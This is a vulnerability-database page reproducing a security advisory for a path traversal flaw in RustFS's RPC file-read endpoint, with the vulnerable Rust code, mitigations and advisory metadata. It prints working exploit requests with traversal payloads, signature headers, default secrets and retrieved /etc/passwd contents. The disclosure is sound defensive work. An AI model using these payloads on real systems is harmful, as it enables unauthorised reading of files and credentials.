GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-PQ29-69JG-9MXC

Vulnerability from github – Published: 2026-01-07 18:15 – Updated: 2026-01-07 21:34
VLAI
Summary
RustFS Path Traversal Vulnerability
Details

RustFS Path Traversal Vulnerability

Vulnerability Details

  • CVE ID:
  • Severity: Critical (CVSS estimated 9.9)
  • Impact: Arbitrary File Read/Write
  • Component: /rustfs/rpc/read_file_stream endpoint
  • Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

// local.rs:1791 - No path sanitization!
let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS!
check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length
let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;

The code uses PathBuf::join() without: - Canonicalization - Path boundary validation - Protection against ../ sequences - Protection against absolute paths

Proof of Concept

Test Environment

  • Target: RustFS v0.0.5 (Docker container)
  • Endpoint: http://localhost:9000/rustfs/rpc/read_file_stream
  • RPC Secret: rustfsadmin (from RUSTFS_SECRET_KEY)
  • Disk ID: /data/rustfs0
  • Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0
volume: .rustfs.sys
path: ../../../../etc/passwd  # Path traversal payload
offset: 0
length: 751  # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

# Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}")
Headers:
  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))
  x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751
x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=
x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[... 15 more lines ...]
rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration


2. Read /etc/hosts

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved:

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
[...]
172.20.0.3  d25e05a19bd2

Impact: Network configuration disclosure


3. Read /etc/hostname

Request:

GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved:

d25e05a19bd2

Impact: System information disclosure


Technical Analysis

Data Flow

1. HTTP Request
   ↓
2. RPC Signature Verification (verify_rpc_signature)
   ↓
3. Find Disk (find_local_disk)
   ↓
4. Read File Stream (disk.read_file_stream)
   ↓
5. VULNERABLE: volume_dir.join(Path::new(&path))
   ↓
6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd
              → /etc/passwd

Path Traversal Mechanism

// Example traversal:
volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys")
path = "../../../../etc/passwd"

// PathBuf::join() resolves to:
file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd"
          = "/etc/passwd"  // Successfully escaped!

Why It Works

  1. No Canonicalization: Code doesn't use canonicalize() before validation
  2. No Boundary Check: No verification that final path is within volume_dir
  3. PathBuf::join() Behavior: Automatically resolves ../ sequences
  4. Length-Only Validation: check_path_length() only checks string length

Special Considerations

  • File Size Constraint: The length parameter must exactly match file size
  • Code validates: file.len() >= offset + length
  • Otherwise returns DiskError::FileCorrupt
  • Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys)
  • Disk Requirement: Disk must be registered in GLOBAL_LOCAL_DISK_MAP

Impact Assessment

Confidentiality Impact: HIGH

  • ✅ Read arbitrary files (demonstrated)
  • ✅ Read system configuration files (/etc/passwd, /etc/hosts)
  • ⚠️ Potential to read:
  • SSH keys (/root/.ssh/id_rsa)
  • Application secrets
  • RustFS configuration files
  • Environment variables from /proc

Integrity Impact: HIGH

  • ⚠️ Similar vulnerability exists in put_file_stream (not tested)
  • ⚠️ Arbitrary file write likely possible
  • ⚠️ Could write to:
  • Cron jobs
  • authorized_keys
  • System binaries (if permissions allow)

Availability Impact: MEDIUM

  • ⚠️ walk_dir endpoint could enumerate entire filesystem
  • ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements

Prerequisites

  1. Network Access: Ability to reach RustFS RPC endpoints
  2. RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY
  3. Default: "rustfs-default-secret"
  4. Production: From environment variable or config
  5. Disk/Volume Knowledge: Valid disk ID and volume name
  6. File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

  • Without Secret: Impossible (signature verification)
  • With Secret: Trivial (automated script)
  • With Default Secret: Critical risk if not changed

Mitigation Recommendations

Immediate Actions (Priority 0)

  1. Path Canonicalization
async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result<FileReader> {
    let volume_dir = self.get_bucket_path(volume)?;

    // CRITICAL FIX:
    let file_path = volume_dir.join(Path::new(&path));
    let canonical = file_path.canonicalize()
        .map_err(|_| DiskError::FileNotFound)?;

    // Validate path is within volume_dir
    if !canonical.starts_with(&volume_dir) {
        error!("Path traversal attempt detected: {:?}", path);
        return Err(DiskError::InvalidArgument);
    }

    // Continue with validated path...
}
  1. Path Component Validation
// Reject dangerous path components
if path.contains("..") || path.starts_with('/') {
    return Err(DiskError::InvalidArgument);
}
  1. Use path-clean Crate
use path_clean::PathClean;

let cleaned_path = PathBuf::from(&path).clean();
if cleaned_path.to_string_lossy().contains("..") {
    return Err(DiskError::InvalidArgument);
}

Additional Security Measures

  1. Audit Logging: Log all RPC file operations with full paths
  2. Rate Limiting: Prevent DoS via repeated RPC calls
  3. Secret Rotation: Ensure unique RPC secrets per deployment
  4. Network Segmentation: Restrict RPC endpoint access
  5. Security Testing: Add path traversal tests to test suite

Long-term Improvements

  1. Chroot Jail: Isolate RPC operations in chroot environment
  2. Least Privilege: Run RustFS with minimal file system permissions
  3. Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploit_path_traversal.py

Usage

# Ensure RustFS is running
docker compose ps

# Run exploit
python3 exploit_path_traversal.py

Output

[+] SUCCESS! Read 751 bytes
[+] File content:
================================================================================
root:x:0:0:root:/root:/bin/sh
[... full /etc/passwd content ...]
================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-alpha.78"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-alpha.13"
            },
            {
              "fixed": "1.0.0-alpha.79"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T18:15:29Z",
    "nvd_published_at": "2026-01-07T21:15:59Z",
    "severity": "HIGH"
  },
  "details": "# RustFS Path Traversal Vulnerability\n\n## Vulnerability Details\n\n- **CVE ID**: \n- **Severity**: Critical (CVSS estimated 9.9)\n- **Impact**: Arbitrary File Read/Write\n- **Component**: `/rustfs/rpc/read_file_stream` endpoint\n- **Root Cause**: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791`\n\n### Vulnerable Code\n\n```rust\n// local.rs:1791 - No path sanitization!\nlet file_path = volume_dir.join(Path::new(\u0026path)); // DANGEROUS!\ncheck_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length\nlet mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?;\n```\n\nThe code uses `PathBuf::join()` without:\n- Canonicalization\n- Path boundary validation\n- Protection against `../` sequences\n- Protection against absolute paths\n\n## Proof of Concept\n\n### Test Environment\n\n- **Target**: RustFS v0.0.5 (Docker container)\n- **Endpoint**: `http://localhost:9000/rustfs/rpc/read_file_stream`\n- **RPC Secret**: `rustfsadmin` (from RUSTFS_SECRET_KEY)\n- **Disk ID**: `/data/rustfs0`\n- **Volume**: `.rustfs.sys`\n\n### Attack Scenario\n\n#### Exploit Parameters\n\n```\ndisk: /data/rustfs0\nvolume: .rustfs.sys\npath: ../../../../etc/passwd  # Path traversal payload\noffset: 0\nlength: 751  # Must match file size\n```\n\n#### Required Authentication\n\nRPC requests require HMAC-SHA256 signature:\n\n```python\n# Signature format: HMAC-SHA256(secret, \"{url}|{method}|{timestamp}\")\nHeaders:\n  x-rustfs-signature: Base64(HMAC-SHA256(secret, data))\n  x-rustfs-timestamp: Unix timestamp\n```\n\n### Successful Exploits\n\n#### 1. Read `/etc/passwd` \u2705\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=../../../../etc/passwd\u0026offset=0\u0026length=751\nx-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg=\nx-rustfs-timestamp: 1766482485\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[... 15 more lines ...]\nrustfs:x:10001:10001::/home/rustfs:/sbin/nologin\n```\n\n**Impact**: Full user account enumeration\n\n---\n\n#### 2. Read `/etc/hosts` \u2705\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=../../../../etc/hosts\u0026offset=0\u0026length=172\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\n[...]\n172.20.0.3\td25e05a19bd2\n```\n\n**Impact**: Network configuration disclosure\n\n---\n\n#### 3. Read `/etc/hostname` \u2705\n\n**Request:**\n```\nGET /rustfs/rpc/read_file_stream?disk=/data/rustfs0\u0026volume=.rustfs.sys\u0026path=/etc/hostname\u0026offset=0\u0026length=13\n```\n\n**Response:** HTTP 200 OK\n\n**Content Retrieved:**\n```\nd25e05a19bd2\n```\n\n**Impact**: System information disclosure\n\n---\n\n## Technical Analysis\n\n### Data Flow\n\n```\n1. HTTP Request\n   \u2193\n2. RPC Signature Verification (verify_rpc_signature)\n   \u2193\n3. Find Disk (find_local_disk)\n   \u2193\n4. Read File Stream (disk.read_file_stream)\n   \u2193\n5. VULNERABLE: volume_dir.join(Path::new(\u0026path))\n   \u2193\n6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd\n              \u2192 /etc/passwd\n```\n\n### Path Traversal Mechanism\n\n```rust\n// Example traversal:\nvolume_dir = PathBuf::from(\"/data/rustfs0/.rustfs.sys\")\npath = \"../../../../etc/passwd\"\n\n// PathBuf::join() resolves to:\nfile_path = \"/data/rustfs0/.rustfs.sys/../../../../etc/passwd\"\n          = \"/etc/passwd\"  // Successfully escaped!\n```\n\n### Why It Works\n\n1. **No Canonicalization**: Code doesn\u0027t use `canonicalize()` before validation\n2. **No Boundary Check**: No verification that final path is within volume_dir\n3. **PathBuf::join() Behavior**: Automatically resolves `../` sequences\n4. **Length-Only Validation**: `check_path_length()` only checks string length\n\n### Special Considerations\n\n- **File Size Constraint**: The `length` parameter must exactly match file size\n  - Code validates: `file.len() \u003e= offset + length`\n  - Otherwise returns `DiskError::FileCorrupt`\n- **Volume Requirement**: Volume/bucket must exist (e.g., `.rustfs.sys`)\n- **Disk Requirement**: Disk must be registered in `GLOBAL_LOCAL_DISK_MAP`\n\n## Impact Assessment\n\n### Confidentiality Impact: HIGH\n\n- \u2705 Read arbitrary files (demonstrated)\n- \u2705 Read system configuration files (`/etc/passwd`, `/etc/hosts`)\n- \u26a0\ufe0f Potential to read:\n  - SSH keys (`/root/.ssh/id_rsa`)\n  - Application secrets\n  - RustFS configuration files\n  - Environment variables from `/proc`\n\n### Integrity Impact: HIGH\n\n- \u26a0\ufe0f Similar vulnerability exists in `put_file_stream` (not tested)\n- \u26a0\ufe0f Arbitrary file write likely possible\n- \u26a0\ufe0f Could write to:\n  - Cron jobs\n  - authorized_keys\n  - System binaries (if permissions allow)\n\n### Availability Impact: MEDIUM\n\n- \u26a0\ufe0f `walk_dir` endpoint could enumerate entire filesystem\n- \u26a0\ufe0f Potential DoS via recursive directory traversal\n\n## Exploitation Requirements\n\n### Prerequisites\n\n1. **Network Access**: Ability to reach RustFS RPC endpoints\n2. **RPC Secret Knowledge**: Knowledge of RUSTFS_SECRET_KEY\n   - Default: `\"rustfs-default-secret\"`\n   - Production: From environment variable or config\n3. **Disk/Volume Knowledge**: Valid disk ID and volume name\n4. **File Size Knowledge**: Exact file sizes for successful reads\n\n### Attack Complexity\n\n- **Without Secret**: Impossible (signature verification)\n- **With Secret**: Trivial (automated script)\n- **With Default Secret**: Critical risk if not changed\n\n## Mitigation Recommendations\n\n### Immediate Actions (Priority 0)\n\n1. **Path Canonicalization**\n```rust\nasync fn read_file_stream(\u0026self, volume: \u0026str, path: \u0026str, ...) -\u003e Result\u003cFileReader\u003e {\n    let volume_dir = self.get_bucket_path(volume)?;\n\n    // CRITICAL FIX:\n    let file_path = volume_dir.join(Path::new(\u0026path));\n    let canonical = file_path.canonicalize()\n        .map_err(|_| DiskError::FileNotFound)?;\n\n    // Validate path is within volume_dir\n    if !canonical.starts_with(\u0026volume_dir) {\n        error!(\"Path traversal attempt detected: {:?}\", path);\n        return Err(DiskError::InvalidArgument);\n    }\n\n    // Continue with validated path...\n}\n```\n\n2. **Path Component Validation**\n```rust\n// Reject dangerous path components\nif path.contains(\"..\") || path.starts_with(\u0027/\u0027) {\n    return Err(DiskError::InvalidArgument);\n}\n```\n\n3. **Use path-clean Crate**\n```rust\nuse path_clean::PathClean;\n\nlet cleaned_path = PathBuf::from(\u0026path).clean();\nif cleaned_path.to_string_lossy().contains(\"..\") {\n    return Err(DiskError::InvalidArgument);\n}\n```\n\n### Additional Security Measures\n\n4. **Audit Logging**: Log all RPC file operations with full paths\n5. **Rate Limiting**: Prevent DoS via repeated RPC calls\n6. **Secret Rotation**: Ensure unique RPC secrets per deployment\n7. **Network Segmentation**: Restrict RPC endpoint access\n8. **Security Testing**: Add path traversal tests to test suite\n\n### Long-term Improvements\n\n9. **Chroot Jail**: Isolate RPC operations in chroot environment\n10. **Least Privilege**: Run RustFS with minimal file system permissions\n11. **Security Audit**: Comprehensive review of all file operations\n\n## Proof of Concept Script\n\nThe complete PoC is available at: `exploit_path_traversal.py`\n\n### Usage\n\n```bash\n# Ensure RustFS is running\ndocker compose ps\n\n# Run exploit\npython3 exploit_path_traversal.py\n```\n\n### Output\n\n```\n[+] SUCCESS! Read 751 bytes\n[+] File content:\n================================================================================\nroot:x:0:0:root:/root:/bin/sh\n[... full /etc/passwd content ...]\n================================================================================\n```\n\n## Acknowledgements\n\nRustFS would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.\n\nAcknowledgements: RustFS would like to thank @realansgar and  **bilisheep** from the **Xmirror Security Team** for providing the security report.",
  "id": "GHSA-pq29-69jg-9mxc",
  "modified": "2026-01-07T21:34:33Z",
  "published": "2026-01-07T18:15:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-pq29-69jg-9mxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68705"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rustfs/rustfs/commit/ab752458ce431c6397175d167beee2ea00507d3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustfs/rustfs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RustFS Path Traversal Vulnerability"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…